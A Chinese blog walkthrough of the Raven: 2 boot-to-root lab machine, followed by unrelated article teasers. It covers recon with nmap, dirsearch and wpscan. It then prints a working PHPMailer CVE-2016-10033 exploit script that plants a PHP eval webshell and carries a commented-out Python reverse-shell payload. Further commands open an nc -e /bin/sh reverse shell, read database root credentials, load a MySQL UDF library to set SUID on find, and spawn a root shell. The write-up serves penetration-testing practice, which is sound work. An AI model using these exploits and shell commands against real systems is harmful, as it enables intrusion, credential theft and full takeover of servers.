B2R Raven: 2靶机渗透

B2R Raven: 2靶机渗透

视频参考:ajest :https://www.zhihu.com/zvideo/1547357583714775040?utm_id=0

原文参考:ajesthttps://zhuanlan.zhihu.com/p/270343652

文章目录

    • B2R Raven: 2靶机渗透
      • 1 启动靶机,查看后网卡为mac为00:0C:29:C6:C5:8F
      • 2 显示信息:
      • 3 快速扫描主机全部信息
      • 4 内核信息没有扫描到,使用nmap继续扫描
      • 5 dirb扫描具体的目录,没有价值
      • 6 使用xray扫描,有个敏感目录
      • 7【dirsearch 】扫描敏感目录
        • 8 扫描到一个敏感目录,版本:PHPMailer 5.2.16
      • 9 wpscan扫描,得到用户信息
        • 9.1 得到两个用户
      • 10 漏洞情报
        • 10.1 使用searchsploit 查找漏洞版本
      • 11 渗透过程
        • 根据漏洞详情根据编号,尝试后放弃,文章乱的一批
        • 12 使用`msfconsole`进行漏洞利用
      • 13 使用 python3 ./40974.py
        • 执行成功后,返回shell脚本路径
      • 14 漏洞利用使用蚁剑连接
      • 15 获取反弹
      • 16 MySQL UDF 提权使用
      • 17 反弹shell中连接mysql
      • 18 搜索mysql版本的EXP
      • 19 重新连接mysql
        • 19.1 执行下面的指令
      • 20 SUID 提权

1 启动靶机,查看后网卡为mac为00:0C:29:C6:C5:8F

00:0C:29:C6:C5:8F
-sS: 使用 SYN 扫描(也称为半开放扫描),发送 SYN 包以探测目标主机上的开放端口。
┌──(kali💋kali)-[~/Desktop/frp_0.33.0_linux_amd64]
└─$ sudo nmap -sS 192.168.225.0/24        

2 显示信息:

Nmap scan report for bogon (192.168.225.213)
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 00:0C:29:C6:C5:8F (VMware)

3 快速扫描主机全部信息

nmap -T4 -A -v  192.168.225.213-T4: 使用 T4 扫描速度,代表比默认扫描更快的速度级别。
-A: 执行 OS识别,版本检测、脚本扫描和traceroute。
-v: 输出详细信息,使扫描输出更加详尽。

扫描结果:

22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35627/udp6  status
|   100024  1          51031/tcp   status
|   100024  1          59614/tcp6  status
|_  100024  1          60260/udp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

4 内核信息没有扫描到,使用nmap继续扫描

 sudo nmap -Pn -A -p- -sT -sC -T4 10.4.7.151 -oN nmap.A
┌──(kali💋kali)-[~/Desktop/frp_0.33.0_linux_amd64]
└─$ sudo nmap -Pn -A -p- -sT -sC -T4 192.168.225.213 -oN nmap.A                     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-13 17:29 CST
Nmap scan report for bogon (192.168.225.213)
Host is up (0.0020s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 2681c1f35e01ef93493d911eae8b3cfc (DSA)
|   2048 315801194da280a6b90d40981c97aa53 (RSA)
|   256 1f773119deb0e16dca77077684d3a9a0 (ECDSA)
|_  256 0e8571a8a2c308699c91c03f8418dfae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35627/udp6  status
|   100024  1          51031/tcp   status
|   100024  1          59614/tcp6  status
|_  100024  1          60260/udp   status
51031/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:C6:C5:8F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

5 dirb扫描具体的目录,没有价值

┌──(root💀kali)-[~]
└─# dirb http://192.168.225.213:111
-----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Fri Oct 13 17:33:53 2023
URL_BASE: http://192.168.225.213:111/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.225.213:111/ ----(!) FATAL: Too many errors connecting to host(Possible cause: RECV ERROR)-----------------
END_TIME: Fri Oct 13 17:33:53 2023

6 使用xray扫描,有个敏感目录

http://192.168.225.213/wordpress/wp-admin/install.php

在这里插入图片描述

7【dirsearch 】扫描敏感目录

dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php  
┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.225.213/ -i 200,300-399 -e php  _|. _ _  _  _  _ _|_    v0.4.2                                                                        (_||| _) (/_(_|| (_| )                                                                                                                                                     
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940Output File: /root/.dirsearch/reports/192.168.225.213/-_23-10-13_19-18-49.txtError Log: /root/.dirsearch/logs/errors-23-10-13_19-18-49.logTarget: http://192.168.225.213/[19:18:49] Starting: 
[19:18:51] 200 -   18KB - /.DS_Store                                       
[19:19:23] 200 -    9KB - /contact.php                                      
[19:19:23] 301 -  316B  - /css  ->  http://192.168.225.213/css/             
[19:19:30] 301 -  318B  - /fonts  ->  http://192.168.225.213/fonts/         
[19:19:33] 301 -  316B  - /img  ->  http://192.168.225.213/img/             
[19:19:34] 200 -   16KB - /index.html                                       
[19:19:36] 301 -  315B  - /js  ->  http://192.168.225.213/js/               
[19:19:36] 200 -    4KB - /js/                                              
[19:19:41] 200 -  626B  - /manual/index.html                                
[19:19:41] 301 -  319B  - /manual  ->  http://192.168.225.213/manual/       
[19:20:08] 200 -    5KB - /vendor/                                          
[19:20:10] 200 -    2KB - /wordpress/wp-login.php                           
[19:20:10] 200 -   51KB - /wordpress/                                                 
dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php 
┌──(root💀kali)-[~]
└─# dirsearch -u http://192.168.225.213/wordpress/ -i 200,300-399 -e php _|. _ _  _  _  _ _|_    v0.4.2                                                                   (_||| _) (/_(_|| (_| )                                                                               
Extensions: php | HTTP method: GET | Threads: 30 | Wordlist size: 8940Output File: /root/.dirsearch/reports/192.168.225.213/-wordpress-_23-10-13_17-45-04.txtError Log: /root/.dirsearch/logs/errors-23-10-13_17-45-04.logTarget: http://192.168.225.213/wordpress/[17:45:04] Starting: 
[17:45:55] 301 -    0B  - /wordpress/index.php  ->  http://192.168.225.213/wordpress/
[17:45:59] 200 -   19KB - /wordpress/license.txt                            
[17:46:16] 200 -    7KB - /wordpress/readme.html                            
[17:46:35] 301 -  331B  - /wordpress/wp-admin  ->  http://192.168.225.213/wordpress/wp-admin/
[17:46:35] 301 -  333B  - /wordpress/wp-content  ->  http://192.168.225.213/wordpress/wp-content/
[17:46:35] 200 -    0B  - /wordpress/wp-content/                            
[17:46:35] 200 -    0B  - /wordpress/wp-config.php                          
[17:46:36] 200 -   69B  - /wordpress/wp-content/plugins/akismet/akismet.php 
[17:46:36] 200 -    1KB - /wordpress/wp-admin/install.php                   
[17:46:36] 200 -  999B  - /wordpress/wp-content/uploads/
[17:46:36] 200 -  809B  - /wordpress/wp-content/upgrade/
[17:46:36] 200 -    1B  - /wordpress/wp-admin/admin-ajax.php                
[17:46:36] 302 -    0B  - /wordpress/wp-admin/  ->  http://raven.local/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.225.213%2Fwordpress%2Fwp-admin%2F&reauth=1
[17:46:36] 301 -  334B  - /wordpress/wp-includes  ->  http://192.168.225.213/wordpress/wp-includes/
[17:46:36] 200 -    0B  - /wordpress/wp-cron.php                            
[17:46:36] 302 -    0B  - /wordpress/wp-signup.php  ->  http://raven.local/wordpress/wp-login.php?action=register
[17:46:36] 200 -   40KB - /wordpress/wp-includes/                           
[17:46:36] 200 -    2KB - /wordpress/wp-login.php Task Completed      
8 扫描到一个敏感目录,版本:PHPMailer 5.2.16

在这里插入图片描述

9 wpscan扫描,得到用户信息

wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed
                                                                                                                                                                                                      
┌──(root💀kali)-[~]
└─# wpscan --no-update --url http://192.168.225.213/wordpress -e u,vp,vt --plugins-detection mixed
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.22Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.225.213/wordpress/ [192.168.225.213]
[+] Started: Fri Oct 13 19:38:43 2023Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.10 (Debian)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.225.213/wordpress/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.225.213/wordpress/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://192.168.225.213/wordpress/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.225.213/wordpress/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 4.8.23 identified (Unknown, released on Unknown).| Found By: Emoji Settings (Passive Detection)|  - http://192.168.225.213/wordpress/, Match: '-release.min.js?ver=4.8.23'| Confirmed By: Meta Generator (Passive Detection)|  - http://192.168.225.213/wordpress/, Match: 'WordPress 4.8.23'[i] The main theme could not be detected.[+] Enumerating Vulnerable Plugins (via Passive and Aggressive Methods)Checking Known Locations - Time: 00:00:37 <====================================================================================================================> (6498 / 6498) 100.00% Time: 00:00:37
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] No plugins Found.[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)Checking Known Locations - Time: 00:00:02 <======================================================================================================================> (624 / 624) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Passive and Aggressive Methods)[i] No themes Found.[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:01 <========================================================================================================================> (10 / 10) 100.00% Time: 00:00:01[i] User(s) Identified:[+] steven| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] michael| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Fri Oct 13 19:40:24 2023
[+] Requests Done: 7178
[+] Cached Requests: 5
[+] Data Sent: 2.056 MB
[+] Data Received: 1.341 MB
[+] Memory used: 310.848 MB
[+] Elapsed time: 00:01:40
9.1 得到两个用户
steven
michael

10 漏洞情报

公开漏洞情报渠道:

  • searchsploit

  • vulhub

  • 漏洞情报:https://vip.riskivy.com/intellList

    10.1 使用searchsploit 查找漏洞版本

PHPMailer是一个用于发送电子邮件的PHP类库,其广泛应用于PHP程序中。

┌──(root💀kali)-[~]
└─# searchsploit phpmailer    

在这里插入图片描述

查询后,目标系统PHPMailer 5.2.18 存在RCE 漏洞,编号为CVE-2016-10033。

11 渗透过程

根据漏洞详情根据编号,尝试后放弃,文章乱的一批

漏洞情报:https://vip.riskivy.com/intellList? ,查询到此漏洞,发现看不懂

在这里插入图片描述

在这里插入图片描述

12 使用msfconsole进行漏洞利用
┌──(kali💋kali)-[/root]
└─$ sudo msfconsole       [*] Starting persistent handler(s)...
msf6 > search phpmailer
msf6 > searchploit phpmailer
msf6 > searchsploit -m 40974

在这里插入图片描述
在这里插入图片描述

执行后显示具体的脚本路径,修改exploit脚本,
searchsploit m 40974 会将py文件拷贝到/root目录下,执行完有提示

 cd /usr/share/exploitdb/exploits/php/webapps/40974.py

13 使用 python3 ./40974.py


from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")#target = 'http://192.168.225.213'
#backdoor = '/backdoor.php'
target ='http://192.168.225.213'
vuln ="/contact.php"
backdoor = '/shell.php'#payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.0.12\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'payload = '<?php @eval($_REQUEST[777]);phpinfo();?>'fields={'action': 'submit','name': payload,
#        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/backdoor.php server\" @protonmail.com','email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/www/html/shell.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target+vuln, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+]  ExPLoITeD ' + target)
执行成功后,返回shell脚本路径

在这里插入图片描述

14 漏洞利用使用蚁剑连接

在这里插入图片描述

15 获取反弹

nc -lvvp  8888   # kali的是192.168.225.166
nc -e /bin/sh 192.168.225.166 8888  # 使用蚁剑shell中输入
python -c "import pty;pty.spawn('/bin/bash')"  #kali中输入,优化反弹shell

在这里插入图片描述

16 MySQL UDF 提权使用

"ps aux | grep mysqld" 是一个常用的 Linux 命令行命令组合,用于查找正在运行的与 "mysqld" 关键词相关的 MySQL 服务器进程。具体解释如下:
- "ps" 命令用于查看系统中当前运行的进程。
- "aux"ps 命令的选项,它指定显示所有用户的所有进程。
- "|" 是管道操作符,将前一个命令的输出传递给下一个命令作为输入。
- "grep" 命令用于在文本中搜索指定的关键词,并将包含该关键词的行进行筛选。
- "mysqld" 是 MySQL 服务器的守护进程名称。

在这里插入图片描述

蚁剑连接时没有发现/wordpress/wp-config.php ,使用dirsearch 扫描到目录
使用浏览器访问是空白
在这里插入图片描述
使用find查找此文件find -name "wp-config.php"
在这里插入图片描述
cat 查看配置文件,得到数据库用户名密码,账密:root:R@v3nSecurity
在这里插入图片描述

17 反弹shell中连接mysql

注意:蚁剑的shell中输入连接mysql是没有响应的

mysql -uroot  -pR@v3nSecurity

获取到mysql的版本号5.5.30, 退出mysql输入exit;
在这里插入图片描述

18 搜索mysql版本的EXP

searchsploit mysql udf  

在这里插入图片描述

searchsploit -m 1518
gcc -g -c 1518.c  # 执行这句就可
gcc -g -shared -o 1518.so 1518.o -lc # 这条是软连接将1518.so 文件上传到靶机的/tmp 目录下。gcc -g -c 1518.c  解义
- "gcc" 是 GNU 编译器套件(GCC)中的 C 编译器,用于编译和链接 C 语言程序。
- "-g" 是 gcc 的编译选项之一,表示在编译过程中生成调试信息,以便在调试程序时进行源代码级的调试。
- "-c" 是 gcc 的编译选项之一,表示只执行编译步骤,而不进行链接。这将只生成目标文件,而不是可执行文件。
- "1518.c" 是要编译的 C 语言源代码文件的名称。gcc -g -shared -o 1518.so 1518.o -lc
这条指令是用于将一个名为 "1518.o" 的目标文件与标准 C 库(libc)进行链接,并生成一个名为 "1518.so" 的共享库文件。具体解释如下:
- "gcc" 是 GNU 编译器套件(GCC)中的 C 编译器,用于编译和链接 C 语言程序。
- "-g" 是 gcc 的编译选项之一,表示在编译过程中生成调试信息,以便在调试程序时进行源代码级的调试。
- "-shared" 是 gcc 的选项之一,用于指定生成一个共享库文件。
- "-o 1518.so" 是 gcc 的选项之一,用于指定生成的共享库文件的名称为 "1518.so"。
- "1518.o" 是要进行链接的目标文件的名称。
- "-lc" 是 gcc 的选项之一,用于指定需要链接 libc(标准 C 库)。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python3 -m http.server 80
wget 192.168.225.166/1518.so  # 进行下载,不能有空格,加空格默认下载到

kali开启服务
在这里插入图片描述
shell连接下载c编译好的文件
在这里插入图片描述

19 重新连接mysql

mysql -uroot -pR@v3nSecurity
在这里插入图片描述

19.1 执行下面的指令
create database testyl;
use testyl;
create table testyl(line blob);
insert into testyl values(load_file('/tmp/1518.so'));
select * from testyl into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('chmod u+s /usr/bin/find');exit;  # 执行完退出

在这里插入图片描述
此时,/usr/bin/find 就具备了SUID 权限。

20 SUID 提权

exit;退出mysql用户


ls -alh /usr/bin/find #  将会显示 /usr/bin/find 文件的详细信息,包括权限、所有者、大小等。#  -a: 显示所有文件,包括隐藏文件和目录。# -l: 以长格式显示文件的详细信息,包括文件权限、所有者、大小、创建时间等。# -h: 以人类可读的方式显示文件大小,例如使用K、M、G等作为单位。mkdir testyl
find testyl -exec '/bin/sh' \;
接着输入指令: id
# 执行 find testyl -exec '/bin/sh' \; 将会在 testyl 目录下查找所有文件,并依次将每个文件作为参数传递给 /bin/sh 命令。需要注意的是,在 -exec 选项后面的命令必须以分号(;)结尾。

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/161483.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kotlin笔记(三):扩展函数,运算符重载

1. 扩展函数 扩展函数表示即使在不修改某个类的源码的情况下&#xff0c;仍然可以打开这个类&#xff0c;向该类添加新的函数。 在Java中,如果我们需要统计字符串中的字母的数量的话,我们通常需要建立一个工具类,然后在工具类里面创建一个新的方法来实现该功能. 在Kotlin中,由于…

【mysql】关于mysql的数据结构特点 索引特点

文章目录 二叉树红黑树 b treehash结构b tree索引存放特点myisamInnoDB 最左原则主键相关知识点缓存池淘汰机制 前言&#xff1a;翻自己博客 发现缺少mysql数据结构和索引相关内容 两年前整理的mysql知识点 一直存在于博主的笔记本里面 &#xff08;是的 纸质的那种笔记本 不是…

JVM八股文

1.JVM的内存结构&#xff1f; 2.OOM是什么&#xff0c;怎么排查&#xff1f; 3.请解释四种引用是什么意思有什么区别&#xff1f; 4.GC的回收算法有哪些&#xff1f; 5.怎么判断对象是否存活&#xff1f; 1.什么是JVM内存结构 jvm将虚拟机分为5大区域&#xff0c;程序计数器、…

中国移动集采120万部,助推国产5G赶超iPhone15

近期媒体纷纷传出消息指中国移动将大规模集采&#xff0c;预计将采购国产5G手机120万台&#xff0c;加上另外两家运营商的集采数量&#xff0c;估计集采数量可能达到300万部&#xff0c;如此将有助于它在国内高端手机市场赶超苹果。 国产5G手机在8月底突然上市&#xff0c;获益…

PostgreSQL性能调优:优化查询和索引设计

随着数据量的增长和业务需求的变化&#xff0c;数据库性能成为了许多企业关注的焦点之一。在众多的数据库管理系统中&#xff0c;PostgreSQL因其稳定性和可靠性而备受青睐。然而&#xff0c;即使是最强大的系统也需要合适的调优&#xff0c;以确保其能够高效地处理大规模数据和…

微服务拆分的思考

一、前言 前面几篇文章介绍了微服务核心的两个组件&#xff1a;注册中心和网关&#xff0c;今天我们来思考一下微服务如何拆分&#xff0c;微服务拆分难度在于粒度和层次&#xff0c;粒度太大拆分的意义不大&#xff0c;粒度太小开发、调试、运维会有很多坑。 二、微服务划分…

Windows:Arduino IDE 开发环境配置【保姆级】

物联网开发学习笔记——目录索引 参考官网&#xff1a;Arduino - Home Arduino是一款简单易学且功能丰富的开源平台&#xff0c;包含硬件部分&#xff08;各种型号的Arduino开发板&#xff09;和软件部分&#xff08;Arduino IDE)以及广大爱好者和专业人员共同搭建和维护的互联…

8.12 PowerBI系列之DAX函数专题-分组内动态TopN和others

需求 实现 1 度量值 total amount2 var v_total calculate([total amount],removefilters(productnames[])) // return if(isinscope(productnames[产品名称]),//第一个参数//下面部分为if的第二个参数&#xff0c;是一整段的DAX表达式var v_Topn_no [topN参数 值] //获取当…

安科瑞能耗监测系统在新集卫生院综合楼、急诊楼的设计与应用

安科瑞 崔丽洁 摘要&#xff1a;针对医院建筑能耗高且能源管理不合理的问题&#xff0c;利用计算机网络技术、通讯技术、计量控制技术等信息化技术&#xff0c;实现能源资源分类分项计量和能源资源运行监管功能&#xff0c;清晰描述建筑内总的用能现状&#xff1b;实时监测各供…

WinSCP 集成 putty(也可以其他Terminal客户端)

putty 安装 官网安装地址 WinSCP集成putty&#xff08;也可以其他Terminal客户端&#xff09; 扩展 WinSCP是什么&#xff1f; WinSCP&#xff08;Windows Secure Copy Protocol&#xff09;是一个用于 Windows 操作系统的开源的 SFTP&#xff08;SSH File Transfer Protoc…

【操作系统】虚拟内存串讲

文章目录 概述虚拟页管理请求页表物理地址的获取虚拟页大小与内存块大小的探讨 概述 操作系统为每一个进程分配一个独立的虚拟内存空间&#xff0c;以分页系统为例&#xff0c;每个进程的虚拟页号都是从 0 开始的 不同的进程可以使用相同的虚拟页号&#xff0c;并且不会互相影…

AFL模糊测试+GCOV覆盖率分析

安全之安全(security)博客目录导读 覆盖率分析汇总 目录 一、代码示例 二、afl-cov工具下载 三、编译带覆盖率的版本并启动afl-cov 四、AFL编译插桩并运行afl-fuzz 五、结果查看 AFL相关详见AFL安全漏洞挖掘 GCOV相关详见GCOV覆盖率分析 现将两者结合&#xff0c;即进…

10.17七段数码管单个多个(部分)

单个数码管的实现 第一种方式 一端并接称为位码&#xff1b;一端分别接收电平信号以控制灯的亮灭&#xff0c;称为段码 8421BCD码转七段数码管段码是将BCD码表示的十进制数转换成七段LED数码管的7个驱动段码&#xff0c; 段码就是LED灯的信号 a为1表示没用到a&#xff0c;a为…

多维时序 | MATLAB实现SSA-CNN-GRU-Attention多变量时间序列预测(SE注意力机制)

多维时序 | MATLAB实现SSA-CNN-GRU-Attention多变量时间序列预测&#xff08;SE注意力机制&#xff09; 目录 多维时序 | MATLAB实现SSA-CNN-GRU-Attention多变量时间序列预测&#xff08;SE注意力机制&#xff09;预测效果基本描述模型描述程序设计参考资料 预测效果 基本描述…

LeetCode 高频题目分类列表

&#x1f4a1; LeetCode 高频面试题分类列表&#xff0c;总共24类&#xff0c;312道题目&#xff01; 图 133.克隆图 207.课程表 210.课程表 II 399.除法求值 547.省份数量 684.冗余连接 743.网络延迟时间 785.判断二分图 堆 215.数组中的第K个最大元素 295.数据流的中位数 26…

apache log4j漏洞复现

log4j是开源的java存储日志的框架&#xff0c;一般都是大企业用&#xff0c;小企业自带的日志功能足够使用&#xff0c;Log4j2是默认支持解析ldap/rmi协议的&#xff0c;打印的日志中包括ldap/rmi协议都行。 具体介绍参考以下文章&#xff1a; log4j2---基于vulhub的log4j2漏…

冲刺十五届蓝桥杯P0006平面切分

文章目录 题目思路代码总结 题目 平面切分 思路 这道题是一个思维题把&#xff0c;之前没有接触过平面几何的知识&#xff0c;做起来感觉还是比较难的&#xff0c;用到的set集合和自己创建一个类 首先我们知道&#xff0c;一根直线A是可以将平面切分成两块的&#xff0c;如…

keep-alive 是 Vue 的一个内置组件,用于缓存其他组件的实例,以避免重复渲染和销毁,它可以在需要频繁切换的组件之间提供性能优化

目录 keep-alive 使用 keep-alive 的示例代码&#xff1a; 手动清除组件缓存的示例代码&#xff1a; keep-alive 组件有以下几个优点&#xff1a; keep-alive 的原理&#xff1a; 使用 keep-alive 组件&#xff0c;你可以包裹需要缓存的组件&#xff0c;然后这些组件在切…

Linux中的主要系统调用

Linux 操作系统中就是创建进程。创建进程的系统调用叫fork。在 Linux 里&#xff0c;要创建一个新的进程&#xff0c;需要一个老的进程调用 fork 来实现&#xff0c;其中老的进程叫作父进程&#xff08;Parent Process&#xff09;&#xff0c;新的进程叫作子进程&#xff08;C…

精准定位——MySQL日志学习的一天【错误、二进制、查询、慢查询】

MySQL 日志是记录 MySQL 数据库服务器运行过程中的各种活动和事件的文件。它们对于监控、故障排查、性能优化和数据恢复等方面都非常重要。 回顾一下Linux中查看文件的指令操作 cat 命令&#xff1a; cat 命令用于将文件的内容一次性输出到终端。它的主要功能是将文件连接起来…